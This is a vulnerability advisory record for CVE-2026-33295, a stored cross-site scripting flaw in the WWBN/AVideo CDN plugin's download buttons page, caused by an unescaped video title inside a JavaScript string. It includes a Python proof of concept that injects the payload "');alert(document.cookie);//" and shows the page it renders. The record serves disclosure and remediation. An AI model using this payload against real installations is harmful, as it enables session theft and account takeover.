{"id":"CVE-2026-33295","aliases":["GHSA-gc3m-4mcr-h3pv"],"url":"https://o3.security/vulnerability/CVE-2026-33295","summary":"AVideo Vulnerable to Stored XSS via Unescaped Video Title in CDN downloadButtons.php","details":"### Summary\n\nWWBN/AVideo contains a stored cross-site scripting vulnerability in the CDN plugin's download buttons component. The `clean_title` field of a video record is interpolated directly into a JavaScript string literal without any escaping, allowing an attacker who can create or modify a video to inject arbitrary JavaScript that executes in the browser of any user who visits the affected download page.\n\n### Details\n\nAt line 59 of the affected file, the following PHP code constructs a JavaScript function call:\n\n```php\ndownloadURLOrAlertError(url, {}, '<?php echo $video['clean_title']; ?>.' + format, progress);\n```\n\nThe `clean_title` value is echoed verbatim inside a single-quoted JavaScript string literal. No JavaScript-context escaping is applied, such as wrapping with `json_encode` or htmlspecialchars with appropriate flags. Because the value sits inside a JS string delimited by single quotes, any input containing a single quote character allows an attacker to terminate the string prematurely and inject arbitrary JavaScript expressions. The `clean_title` field is derived from user-supplied video title input, meaning any user with video creation or editing privileges can craft a malicious title. The injected script executes in the security context of whatever user loads the download page for that video, which may include administrators or authenticated users with elevated privileges.\n\n### PoC\n\n```python\nimport requests\n\ntarget = \"https://example.com\"\nlogin_url = f\"{target}/user\"\nupload_url = f\"{target}/video/addNew\"\n\nsession = requests.Session()\n\nsession.post(login_url, data={\n    \"user[user]\": \"attacker\",\n    \"user[pass]\": \"attackerpassword\"\n})\n\nmalicious_title = \"');alert(document.cookie);//\"\n\nsession.post(upload_url, data={\n    \"title\": malicious_title,\n    \"description\": \"poc\"\n})\n```\n\nAfter the video is created, navigate to:\n\n```\nhttps://example.com/plugin/CDN/downloadButtons.php?videos_id=<TARGET_VIDEO_ID>\n```\n\nThe rendered page will contain:\n\n```javascript\ndownloadURLOrAlertError(url, {}, '');alert(document.cookie);//.' + format, progress);\n```\n\n### Impact\n\nAny user who can create or edit a video can store malicious JavaScript that will execute in the browser of any other user who visits the download page for that video. This includes scenarios where an attacker with a low-privilege account targets administrator sessions. Successful exploitation enables session cookie theft, credential harvesting, and actions performed on behalf of the victim within the application. Because the payload is stored server-side and triggers without further attacker interaction, all users who access download pages for attacker-controlled videos are at risk.","published":"2026-03-22T17:00:55.697Z","modified":"2026-08-12T03:51:11.370694547Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"wwbn/avideo","fixedVersion":null}],"fix":{"url":"https://github.com/WWBN/AVideo/commit/30cdd825fa5778c1d678c2402be2413b84ee4833","label":"WWBN/AVideo@30cdd82"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33295.json"},{"type":"ADVISORY","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-gc3m-4mcr-h3pv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33295"},{"type":"FIX","url":"https://github.com/WWBN/AVideo/commit/30cdd825fa5778c1d678c2402be2413b84ee4833"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:11.370694547Z"}}